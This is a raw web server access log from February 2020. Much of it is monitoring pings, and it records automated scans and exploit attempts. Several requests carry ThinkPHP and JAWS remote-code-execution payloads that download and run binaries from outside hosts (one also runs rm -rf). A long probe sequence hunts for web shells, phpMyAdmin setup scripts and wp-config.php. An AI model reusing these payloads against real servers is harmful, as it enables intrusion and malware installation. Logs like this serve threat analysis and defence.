212.91.246.72 - - [04/Feb/2020:22:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.211.238 - - [04/Feb/2020:22:38:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:22:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:22:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.91.186 - - [04/Feb/2020:22:40:26 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
46.119.91.186 - - [04/Feb/2020:22:40:26 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
46.119.91.186 - - [04/Feb/2020:22:40:27 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [04/Feb/2020:22:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
140.143.167.250 - - [04/Feb/2020:22:41:30 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
140.143.167.250 - - [04/Feb/2020:22:41:30 +0100] "POST /Admin50f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [04/Feb/2020:22:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:41:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.167.250 - - [04/Feb/2020:22:41:55 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.167.250 - - [04/Feb/2020:22:41:55 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.167.250 - - [04/Feb/2020:22:41:56 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.167.250 - - [04/Feb/2020:22:41:56 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
140.143.167.250 - - [04/Feb/2020:22:42:18 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
140.143.167.250 - - [04/Feb/2020:22:42:42 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:22:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:43:06 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
118.71.44.242 - - [04/Feb/2020:22:43:13 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
140.143.167.250 - - [04/Feb/2020:22:43:30 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:22:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:43:54 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
140.143.167.250 - - [04/Feb/2020:22:44:17 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
42.117.15.213 - - [04/Feb/2020:22:44:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
140.143.167.250 - - [04/Feb/2020:22:44:41 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
140.143.167.250 - - [04/Feb/2020:22:44:42 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:42 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:42 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:42 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:43 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:43 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:43 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [04/Feb/2020:22:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:44:43 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:43 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:44 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:44 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:44 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:44 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:44 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:45 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:45 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:46 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:46 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:46 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:46 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:46 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:47 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:47 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:47 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:47 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:47 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:47 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:48 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:48 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:48 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:48 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:49 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:49 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:50 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:50 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:50 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:50 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:50 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:51 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:51 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:51 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:51 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:51 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:51 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:52 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:52 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:52 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:52 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:53 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:53 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:54 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:54 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:54 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:54 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:54 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:55 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:55 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:55 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:55 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:55 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:55 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:56 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:56 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:56 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:57 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:57 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:58 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:58 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:58 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:58 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:58 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:59 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:59 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:59 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:59 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:59 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:44:59 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:00 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:00 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:00 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:00 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:00 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:01 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:01 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:01 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:01 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:01 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:01 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:02 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:02 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:02 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:02 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:02 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:03 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:05 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:05 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:06 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
